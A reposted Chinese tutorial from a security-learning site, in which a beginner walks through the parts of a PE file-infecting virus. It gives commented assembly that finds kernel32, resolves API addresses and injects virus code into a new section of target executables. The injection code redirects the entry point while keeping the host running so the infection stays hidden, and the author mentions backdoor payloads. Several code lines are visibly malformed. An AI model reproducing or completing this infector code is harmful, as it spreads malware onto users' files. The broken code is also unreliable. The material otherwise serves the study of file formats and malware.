安基网 首页 安全 安全学院 查看内容

关于PE文件病毒的一点感受

2007-8-3 14:41| 投稿: security


免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!

摘要:       PE文件病毒虽然因为传播不及蠕虫已经很少独立存在了,但是仍然有很多病毒把他的感染部分作为一个功能.而且学习PE文件病毒可以让我们对PE的格...
      PE文件病毒虽然因为传播不及蠕虫已经很少独立存在了,但是仍然有很多病毒把他的感染部分作为一个功能.而且学习PE文件病毒可以让我们对PE的格式更好的了解,而加壳程序的外壳部分也运用到了和PE文件病毒类似的技术,所以还是可以了解下的      我也是刚学习这方面的东西,就把一点点心得写了下来.参考了罗云彬的<windows环境下32位汇编语言程序设计>在下菜鸟一只,望高手指教~ 首先说说PE文件病毒的工作方式.一个PE文件病毒基本上有这几个功能:   1)获取kernel32.dll的基地址 2)通过所获得的kernel32的基地址通过dll的PE文件格式中的输出表获得以后要使用到的API的地址,并将他们存放在变量或是栈中,将来所调用的API直接通过CALL这些地址来实现. 3)查找要感染的文件并获得他们的基地址(通过CreateFile,CreateFileMapping,ViewOfMapFile将文件打开,当然调用的是getapi所找到的地址。其他过程和一般的程序没什么区别,所以就不写在这里了) 4)通过获得的文件的基地址来根据文件的PE文件格式来将病毒代码注入到该文件中,在这里有两种方法,一是通过给程序添加一个节(section)来将病毒注入,另一种是选取一个未用完的节(因为节在内存中是按1000为单位对齐的).    当然了,病毒不可能只是复制自己而什么都不做,不然的话就没有破坏性了...在代码里都会有一段用来做点坏事~~比如开个后门~~    好了,我们来具体看看这些有趣的东西~~~嘿嘿第一个部分,获取K32的基地址 代码:--------------------------------------------------------------------------------_GetK32 proc         local @dwReturn        pushad        mov   @dwReturn,0       ;返回值,先设为0(即false)      &nbs?p; mov   edi,_dwKernelRet      ;这里的_dwKernel32Ret 是[esp],当程序通过ret指令结                                       ;束的时候,系统会通过调用CreateProcess()函数来启动进                                        ;程,这时的堆栈中所存放的值就是Kernel32所在的那部分                                       ;地址段中的一个地址。因此,如果我们在程序中的开头部                                       ;分取出[esp]的值,就能通过这个值定位kernel32的基地址        and   edi,0ffff0000h           ;因为WINDOWS是分页系统,4K一页,所以这条语句就是将                                        ;edi指向该页的基地址@1:                                    ;由于分页系统中模块加载都是从每一页的页首开始,所以                               &n?bsp;       ;基地址总每页的页首地址        cmp word ptr [edi],'ZM'        ;这一段是判断是否到达K32的基地址        jnz @1        mov esi,edi        add esi,[esi+003ch]        cmp word ptr [esi],'EP'        mov @dwReturn,edi        jz @2                         ;确认找到的是K32的基地址,跳        sub edi,010000h               ;不是K32的基地址,则查看是不是在前一页                      cmp edi,070000000h                    jb @2                         ;如果小于07000000则不查找,因为K32不会在小于                                      ;070000000前的页,在这里为了简单没有考虑出错情况,一                                        ;般出错的话就直接结束吧        jmp @1@2:   &n?bsp; add esp,0ch        popad        mov eax,@dwReturn             ;将找到的K32的基地址给EAX返回        ret_GetK32 endp 第2部分,GetApi部分_GetApi proc                          ;输入ESI(指向一个API名字)输出该API的地址        mov edx,esi                   ;先将该API名字的首地址备份个@1:     cmp byte ptr [esi],0          ;这一段是获取API名字的长度,因为以0作为字符串结束的                                      ;标记,所以比较esi所指地址的值是否为0来判断是否是字                                      ;符串的结束        jz @2                         ;是,跳  inc esi                       ;不是则让ESI指向下一个字符,继续判断  jmp @1-------------------------------------------------------------------------------- @2的目的就是获取,输出地址表eat,存放输出的API的名字的数组ent和输出序数表eot的VA。之所以要取这3个是因为eat[x]的所对应的API并不就是ent[x]对应的API.实际上他们3者的API对应关系是ent[x]'API=eat[eot[x]]'API 代码:--------------------------------------------------------------------------------@2:     inc esi                               sub esi,edx                   ;esi-edx就是API的字符串长度了  mov ecx,esi  xor eax,eax        mov count,ax                  ;COUNT存放所输入的API在ENT的数组序号(即对应关系中的;X)  mov esi,hDllKernel32            add esi,3ch                   ;即让ESI指向NT头,3c是dos头的长度  mov esi,[esi+78h]             ;让ESI指向DATA DIRECTORY数组的首地址(这个值是RVA)                                      ;由于输出表是放在数组的第一个,所以所指的这个数组的                                      ;首地址的RVA就是输出表的首地址的RVA  add esi,hDllKernel32          ;输出表的VA  add esi,1ch                   ;ESI指向AddressOfFunctions        lodsd                &nb?sp;        ;读取AddressOfFunctions的内容            add eax,hDllKernel32          ;EAT(输出地址表)的VA  mov eatVA,eax  lodsd                         ;读取AddressOfNames的内容  add eax,hDllKernel32          ;ENT(存放输出的API的名字的数组)  mov entVA,eax                   lodsd                         ;读取输出序数表EOT的RVA  add eax,hDllKernel32          ;VA  mov OrdinalVA,eax  mov esi,entVA-------------------------------------------------------------------------------- 而@3就是先比较所要得到地址的API名和ENT中的各名字对比找到EAT,ENT,EOT对应关系中的X,然后得到该API的地址 代码:--------------------------------------------------------------------------------@3:     push esi                              lodsd        add eax,hDllKernel32  ;数组指针  mov esi,eax  mov edi,edx  push ecx              ;该API名字的长度  cld  rep cmpsb             ;比较这时数组指针所指的API名是否是输入的那个API名  pop ecx  jz @4         &nbs?p;       ;是,跳  pop esi  add esi,4             ;不是,指向下一个数组中的API名字继续比较  inc Count    jmp @3@4:     pop esi        mov eax,Count         ;进行对应关系的转换  shl eax,1  add eax,OrdinalVA    ;EAX中地址存放的就是EOT[X]  xor esi,esi        xchg eax,esi        lodsw  shl eax,2  add eax,eatVA         mov esi,eax  lodsd                ;读取eat[eot[x]]的内容(API的RVA地址)  add eax,hDllKernel32 ;VA  ret;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>_GetApis proc               ;输入的是ESI(指向存放API名字的数组)和EDI(指向存放                            ;API函数所在地址的数组)@1:      push esi   push edi   call _GetApi   pop edi   pop esi   stosd@2:      cmp byte ptr [esi],0    ;判断是否是一个API名的结束      &n?bsp;  jz @3   inc esi   jmp @2@3:      cmp word ptr [esi],0bbh ;判断是否是数组的结束         jz @4                   ;是,则结束   inc esi                 ;不是,指向下一个API名,继续查找他的地址   jmp @1@4:      ret_GetApis endp;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>-------------------------------------------------------------------------------- 第3部分:感染~~如之前所讲的,感染有两种方式,在这里我们采用了第一种方式。这个函数的工作方式是这样的:1)将代码添加到一个新节中,我们先将一个指针指向文件中的最后的一个节的结尾,从这里把我们的代码写到后面。另一个指针指向到最后的那个节对应的section header修改PointerToRawData和SizeOfRawData让它指向的是我们添加的那个节。2)记录下未感染的OEP,因为在我们的代码结束的时候要让宿主程序正常执行(除非你想让人家知道自己被感染了。。。)所以我们要先记录他的OEP,在我们程序结束的时候运用一个JMP跳过去。3)修改nt头中的AddressOfEntryPoint,让它指向的是我们的添加的代码   代码:--------------------------------------------------------------------------------_Inject proc                               ;lpFile是文件的基地址,lpPEHead是nt头        mov esi,_lpPEHead  mov edi,_lpPEHead  movzx eax,[esi+06h]                ;NumberOfSections  dec eax  mov ecx,28h         &n?bsp;              ;28h为一个section header的长度                          mul ecx                            ;eax中为所有section header部分的长度  add esi,eax  add esi,78h                        ;减去data_directory的nt header长度  mov edx,[edi+74h]  shl edx,3                          ;edx存放计算出的data_directory长度  add esi,edx                        ;esi指向了最后一个section header  mov _Oldep,[edi+28h]               ;存下AddressOfEntryPoint  mov _ImageBase,[edi+34h]        mov _SizeOfRawData,[esi+10h]  mov _PointerToRawData,[esi+14h]  mov edx,_PointerToRawData  add edx,_SizeOfRawData  mov _AllSecHeadLength,edx             mov eax,_SizeOfRawData  add eax,[esi+0ch]                   ;+VA,则在eax所指的地址添加病毒代码,且此时的EAX为new                     &?nbsp;                mov _Newep,eax  mov [edi+28h],eax                   ;将旧的ep覆盖为新的        mov eax,[esi+10h]                   ;  invoke _Align,_dwVirusSize,[esi+3ch] ;将我们的节对齐  mov [esi+08h],eax                   ;更新对齐后的SIZEOFRAWDATA和VIRTUALSIZE  mov [esi+10h],eax        add eax,[esi+0ch]                    ;eax=size of image(加上了新加的节的长度)  mov [edi+50h],eax  or  dword ptr [esi+24h],0a0000020h   ;该节属性定为可执行代码  mov dword ptr [edi+4ah],"Zalone"     ;节的名字enolaZ~~~~~~  lea esi,[ebp+virus_start]            ;把我们的代码移进去  mov edx,_AllSecHeadLength  xchg edi,edx  add edi,_lpFile  mov ecx,virus_size  repnz movsb                          ;写代码的循环  jmp UnMapFile                        ;完成,关闭这个文件        retInjectFile endp-------------------------------------------------------------------------------- 好了,关键的部分就是这个样子,主体部分我觉得其实是最简单的,所以没贴出来.感觉代码还不是很优化,另外这个东西也没有一些反调试或是隐藏自己的方法.另外在对eot,ent,eat那部分感觉的讲解还不是很清晰,不过那个表达式是很清晰的说明了,可能是好久没写过作文了吧...

小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本站系公益性非盈利IT技术普及网,本文由投稿者转载自互联网的公开文章,文末均已注明出处,其内容和图片版权归原网站或作者所有,文中所述不代表本站观点,若有无意侵权或转载不当之处请从网站右下角联系我们处理,谢谢合作!


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论

 最新
返回顶部